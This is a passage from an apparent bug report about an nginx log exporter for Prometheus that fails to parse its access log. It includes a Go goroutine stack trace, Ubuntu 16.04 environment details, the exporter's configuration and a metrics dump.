	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c460, 0x88ea00, 0xc00d1ceb40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22172 [runnable]:
bytes.(*Buffer).WriteRune(0xc00f61b560, 0x56, 0x1, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bytes/buffer.go:280 +0x182
github.com/prometheus/common/expfmt.escapeString(0xc012faf6b0, 0x182, 0x806401, 0x9, 0xc00f61b630)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:301 +0x109
github.com/prometheus/common/expfmt.labelPairsToText(0xc00a8cf290, 0x5, 0x5, 0x805044, 0x2, 0xc027e834c0, 0x4, 0x886700, 0xc00c6424d0, 0xc00f61b6f8, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:261 +0xfa
github.com/prometheus/common/expfmt.writeSample(0xc027e6d9b0, 0x30, 0xc0134001e0, 0x805044, 0x2, 0xc027e834c0, 0x4, 0x0, 0x886700, 0xc00c6424d0, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:212 +0x139
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c6424d0, 0xc005793450, 0x397528, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:142 +0xb5f
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc005793450, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc01a86a2a0, 0xc005793450, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e1b0, 0xc007013200)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e1b0, 0xc007013200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef960, 0xc007013200)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef960, 0xc007013200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef960, 0xc007013200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef960, 0xc007013200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c3c0, 0x88ea00, 0xc0183ff140)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22262 [runnable]:
github.com/prometheus/common/expfmt.writeSample(0xc027ed1830, 0x2d, 0xc01759d020, 0x0, 0x0, 0x0, 0x0, 0x3fcf1a9fbe76c8b4, 0x886700, 0xc00c642160, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:199 +0x418
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c642160, 0xc0192a8a00, 0x39ebcd, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:168 +0xcbe
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc0192a8a00, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc01b818d80, 0xc0192a8a00, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f8d0, 0xc004943500)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f8d0, 0xc004943500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121ed20, 0xc004943500)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121ed20, 0xc004943500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121ed20, 0xc004943500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121ed20, 0xc004943500)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c640, 0x88ea00, 0xc00c66e600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22375 [runnable]:
github.com/prometheus/client_golang/prometheus.(*MetricVec).Collect(0xc000049000, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/vec.go:70 +0x13a
github.com/prometheus/client_golang/prometheus.(*Registry).Gather.func2(0xc027194a60, 0xc01b56bbc0, 0x88a080, 0xc00000e2a0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:433 +0x61
created by github.com/prometheus/client_golang/prometheus.(*Registry).Gather
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:431 +0x2e9

goroutine 22234 [runnable]:
compress/flate.(*compressor).findMatch(0xc024922000, 0xf861, 0xf360, 0x3, 0x400, 0x102, 0x18f5, 0xc027dd9901)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:233 +0x3c4
compress/flate.(*compressor).deflate(0xc024922000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:443 +0x802
compress/flate.(*compressor).write(0xc024922000, 0xc027dd9900, 0xd, 0x500, 0x500, 0x74a5b1a, 0x7f52e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:551 +0x83
compress/flate.(*Writer).Write(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:709
compress/gzip.(*Writer).Write(0xc00c642d10, 0xc027dd9900, 0xd, 0x500, 0x3, 0x3, 0x409639)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/gzip/gzip.go:196 +0xce
fmt.Fprintf(0x886700, 0xc00c642d10, 0x80645f, 0x9, 0xc00f615630, 0x3, 0x3, 0x493, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/fmt/print.go:200 +0xa5
github.com/prometheus/common/expfmt.labelPairsToText(0xc006c8fcb0, 0x5, 0x5, 0x806344, 0x8, 0xc027ff0470, 0x4, 0x886700, 0xc00c642d10, 0xc027dd9900, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:259 +0x22a
github.com/prometheus/common/expfmt.writeSample(0xc0000162d0, 0x24, 0xc0018e3620, 0x806344, 0x8, 0xc027ff0470, 0x4, 0x7ff8000000000001, 0x886700, 0xc00c642d10, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:212 +0x139
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c642d10, 0xc0192a80a0, 0xa459d5, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:109 +0x12ab
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc0192a80a0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc005e6f480, 0xc0192a80a0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f378, 0xc021afa400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f378, 0xc021afa400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121ea80, 0xc021afa400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121ea80, 0xc021afa400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121ea80, 0xc021afa400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121ea80, 0xc021afa400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c5a0, 0x88ea00, 0xc00fb71800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22286 [runnable]:
compress/flate.(*compressor).findMatch(0xc026262000, 0x98c9, 0x96ca, 0x3, 0x148, 0x5, 0x1ff, 0xc026da5b01)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:233 +0x3c4
compress/flate.(*compressor).deflate(0xc026262000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:443 +0x802
compress/flate.(*compressor).write(0xc026262000, 0xc026da5ba0, 0xd, 0x1a0, 0x1a0, 0x382a8f93, 0x7f52e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:551 +0x83
compress/flate.(*Writer).Write(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/flate/deflate.go:709
compress/gzip.(*Writer).Write(0xc00c643290, 0xc026da5ba0, 0xd, 0x1a0, 0x3, 0x3, 0x409639)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/compress/gzip/gzip.go:196 +0xce
fmt.Fprintf(0x886700, 0xc00c643290, 0x80645f, 0x9, 0xc00e987630, 0x3, 0x3, 0x191, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/fmt/print.go:200 +0xa5
github.com/prometheus/common/expfmt.labelPairsToText(0xc00b33b530, 0x5, 0x5, 0x805044, 0x2, 0xc027f85e18, 0x5, 0x886700, 0xc00c643290, 0xc00e9876f8, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:259 +0x22a
github.com/prometheus/common/expfmt.writeSample(0xc027f7b650, 0x30, 0xc01c670600, 0x805044, 0x2, 0xc027f85e18, 0x5, 0x0, 0x886700, 0xc00c643290, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:212 +0x139
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c643290, 0xc0079fa500, 0x39f5ad, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:142 +0xb5f
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc0079fa500, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc0236ef6e0, 0xc0079fa500, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e570, 0xc02461ea00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e570, 0xc02461ea00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e620, 0xc02461ea00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e620, 0xc02461ea00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e620, 0xc02461ea00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e620, 0xc02461ea00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c6e0, 0x88ea00, 0xc00a60aec0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22372 [runnable]:
github.com/prometheus/client_golang/prometheus.(*goCollector).Collect(0xc000011710, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/go_collector.go:249 +0x401
github.com/prometheus/client_golang/prometheus.(*Registry).Gather.func2(0xc027194a60, 0xc01b56bbc0, 0x88a1c0, 0xc000011710)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:433 +0x61
created by github.com/prometheus/client_golang/prometheus.(*Registry).Gather
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:431 +0x2e9

goroutine 22363 [runnable]:
github.com/prometheus/client_golang/prometheus.(*histogram).Write(0xc0026b90a0, 0xc027f61bc0, 0xc01c737701, 0xc01c737720)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/histogram.go:264 +0x320
github.com/prometheus/client_golang/prometheus.(*Registry).Gather(0xc000048600, 0x0, 0x0, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:461 +0x560
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000fc40, 0xc004942600)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:75 +0x47
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000fc40, 0xc004942600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015efce0, 0xc004942600)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015efce0, 0xc004942600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015efce0, 0xc004942600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015efce0, 0xc004942600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c960, 0x88ea00, 0xc01d4fca40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22343 [runnable]:
bytes.(*Buffer).WriteRune(0xc00ce1f560, 0x4a, 0x1, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bytes/buffer.go:280 +0x182
github.com/prometheus/common/expfmt.escapeString(0xc00fcdfbb0, 0x471, 0x806401, 0x9, 0xc00ce1f630)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:301 +0x109
github.com/prometheus/common/expfmt.labelPairsToText(0xc00c110cf0, 0x5, 0x5, 0x0, 0x0, 0x0, 0x0, 0x886700, 0xc00c643ad0, 0xc00ce1f6f8, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:261 +0xfa
github.com/prometheus/common/expfmt.writeSample(0xc027e04090, 0x28, 0xc0115d4360, 0x0, 0x0, 0x0, 0x0, 0x403673b645a1cac1, 0x886700, 0xc00c643ad0, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:212 +0x139
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c643ad0, 0xc00bace320, 0xb4c87, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:120 +0x13b8
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc00bace320, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc01c8073a0, 0xc00bace320, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f7b8, 0xc011811a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f7b8, 0xc011811a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121f180, 0xc011811a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121f180, 0xc011811a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121f180, 0xc011811a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121f180, 0xc011811a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c8c0, 0x88ea00, 0xc00b8d3700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22371 [runnable]:
github.com/prometheus/client_golang/prometheus.(*processCollector).processCollect(0xc0000c2200, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/process_collector.go:125 +0x53e
github.com/prometheus/client_golang/prometheus.(*processCollector).Collect(0xc0000c2200, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/process_collector.go:103 +0x34
github.com/prometheus/client_golang/prometheus.(*Registry).Gather.func2(0xc027194a60, 0xc01b56bbc0, 0x88a240, 0xc0000c2200)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:433 +0x61
created by github.com/prometheus/client_golang/prometheus.(*Registry).Gather
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:431 +0x2e9

goroutine 22366 [semacquire]:
sync.runtime_Semacquire(0xc027194a68)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/sema.go:56 +0x39
sync.(*WaitGroup).Wait(0xc027194a60)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/sync/waitgroup.go:130 +0x65
github.com/prometheus/client_golang/prometheus.(*Registry).Gather.func1(0xc027194a60, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:427 +0x2b
created by github.com/prometheus/client_golang/prometheus.(*Registry).Gather
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:426 +0x24c```

**Environment**:
- Exporter version: v 1.3.0
- OS :

ubuntu@ip-172-31-103-35:~/sw$ cat /etc/rel
/lib/x86_64-linux-gnu/liboneagentproc.soDISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

Waiting for /var/log/nginx/access.log to appear...

Issue type:

Support request

What happened:

The exporter didn't start to parse process..

Configuration file

listen {
  port = 4040
  address = "0.0.0.0"
}


namespace "dotcom" {
  format = "$proxy_protocol_addr - $remote_addr - $http_host - [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $upstream_response_time"
  source_files = [
    "/var/log/nginx/access.log"
  ]
  labels {
    app = "dotcomapp"
    environment = "production"
  }
}

Metrics output

# HELP dotcomcom_parse_errors_total Total number of log file lines that could not be parsed
# TYPE dotcomcom_parse_errors_total counter
dotcomcom_parse_errors_total 0
# HELP go_gc_duration_seconds A summary of the GC invocation durations.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 5.1308e-05
go_gc_duration_seconds{quantile="0.25"} 0.00381419
go_gc_duration_seconds{quantile="0.5"} 0.004201491
go_gc_duration_seconds{quantile="0.75"} 0.004218476
go_gc_duration_seconds{quantile="1"} 0.004237506
go_gc_duration_seconds_sum 0.025115017
go_gc_duration_seconds_count 8
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 10
# HELP go_memstats_alloc_bytes Number of bytes allocated and still in use.
# TYPE go_memstats_alloc_bytes gauge
go_memstats_alloc_bytes 1.681992e+06
# HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed.
# TYPE go_memstats_alloc_bytes_total counter
go_memstats_alloc_bytes_total 8.31076e+06
# HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table.
# TYPE go_memstats_buck_hash_sys_bytes gauge
go_memstats_buck_hash_sys_bytes 1.444269e+06
# HELP go_memstats_frees_total Total number of frees.
# TYPE go_memstats_frees_total counter
go_memstats_frees_total 31867
# HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata.
# TYPE go_memstats_gc_sys_bytes gauge
go_memstats_gc_sys_bytes 405504
# HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use.
# TYPE go_memstats_heap_alloc_bytes gauge
go_memstats_heap_alloc_bytes 1.681992e+06
# HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used.
# TYPE go_memstats_heap_idle_bytes gauge
go_memstats_heap_idle_bytes 3.366912e+06
# HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use.
# TYPE go_memstats_heap_inuse_bytes gauge
go_memstats_heap_inuse_bytes 2.400256e+06
# HELP go_memstats_heap_objects Number of allocated objects.
# TYPE go_memstats_heap_objects gauge
go_memstats_heap_objects 7355
# HELP go_memstats_heap_released_bytes_total Total number of heap bytes released to OS.
# TYPE go_memstats_heap_released_bytes_total counter
go_memstats_heap_released_bytes_total 3.301376e+06
# HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system.
# TYPE go_memstats_heap_sys_bytes gauge
go_memstats_heap_sys_bytes 5.767168e+06
# HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection.
# TYPE go_memstats_last_gc_time_seconds gauge
go_memstats_last_gc_time_seconds 1.523955799397796e+09
# HELP go_memstats_lookups_total Total number of pointer lookups.
# TYPE go_memstats_lookups_total counter
go_memstats_lookups_total 68
# HELP go_memstats_mallocs_total Total number of mallocs.
# TYPE go_memstats_mallocs_total counter
go_memstats_mallocs_total 39222
# HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures.
# TYPE go_memstats_mcache_inuse_bytes gauge
go_memstats_mcache_inuse_bytes 3472
# HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system.
# TYPE go_memstats_mcache_sys_bytes gauge
go_memstats_mcache_sys_bytes 16384
# HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures.
# TYPE go_memstats_mspan_inuse_bytes gauge
go_memstats_mspan_inuse_bytes 27208
# HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system.
# TYPE go_memstats_mspan_sys_bytes gauge
go_memstats_mspan_sys_bytes 49152
# HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place.
# TYPE go_memstats_next_gc_bytes gauge
go_memstats_next_gc_bytes 4.194304e+06
# HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations.
# TYPE go_memstats_other_sys_bytes gauge
go_memstats_other_sys_bytes 778059
# HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator.
# TYPE go_memstats_stack_inuse_bytes gauge
go_memstats_stack_inuse_bytes 524288
# HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator.
# TYPE go_memstats_stack_sys_bytes gauge
go_memstats_stack_sys_bytes 524288
# HELP go_memstats_sys_bytes Number of bytes obtained by system. Sum of all system allocations.
# TYPE go_memstats_sys_bytes gauge
go_memstats_sys_bytes 8.984824e+06
# HELP http_request_duration_microseconds The HTTP request latencies in microseconds.
# TYPE http_request_duration_microseconds summary
http_request_duration_microseconds{handler="prometheus",quantile="0.5"} 1245.63
http_request_duration_microseconds{handler="prometheus",quantile="0.9"} 1245.63
http_request_duration_microseconds{handler="prometheus",quantile="0.99"} 1245.63
http_request_duration_microseconds_sum{handler="prometheus"} 8623.8
http_request_duration_microseconds_count{handler="prometheus"} 6
# HELP http_request_size_bytes The HTTP request sizes in bytes.
# TYPE http_request_size_bytes summary
http_request_size_bytes{handler="prometheus",quantile="0.5"} 379
http_request_size_bytes{handler="prometheus",quantile="0.9"} 379
http_request_size_bytes{handler="prometheus",quantile="0.99"} 379
http_request_size_bytes_sum{handler="prometheus"} 2252
http_request_size_bytes_count{handler="prometheus"} 6
# HELP http_requests_total Total number of HTTP requests made.
# TYPE http_requests_total counter
http_requests_total{code="200",handler="prometheus",method="get"} 6
# HELP http_response_size_bytes The HTTP response sizes in bytes.
# TYPE http_response_size_bytes summary
http_response_size_bytes{handler="prometheus",quantile="0.5"} 1431
http_response_size_bytes{handler="prometheus",quantile="0.9"} 1431
http_response_size_bytes{handler="prometheus",quantile="0.99"} 1431
http_response_size_bytes_sum{handler="prometheus"} 8251
http_response_size_bytes_count{handler="prometheus"} 6
# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.
# TYPE process_cpu_seconds_total counter
process_cpu_seconds_total 0.55
# HELP process_max_fds Maximum number of open file descriptors.
# TYPE process_max_fds gauge
process_max_fds 524288
# HELP process_open_fds Number of open file descriptors.
# TYPE process_open_fds gauge
process_open_fds 7
# HELP process_resident_memory_bytes Resident memory size in bytes.
# TYPE process_resident_memory_bytes gauge
process_resident_memory_bytes 6.2464e+06
# HELP process_start_time_seconds Start time of the process since unix epoch in seconds.
# TYPE process_start_time_seconds gauge
process_start_time_seconds 1.52395486289e+09
# HELP process_virtual_memory_bytes Virtual memory size in bytes.
# TYPE process_virtual_memory_bytes gauge
process_virtual_memory_bytes 1.5183872e+07

Exporter output

$ docker logs -f nginx-exporter
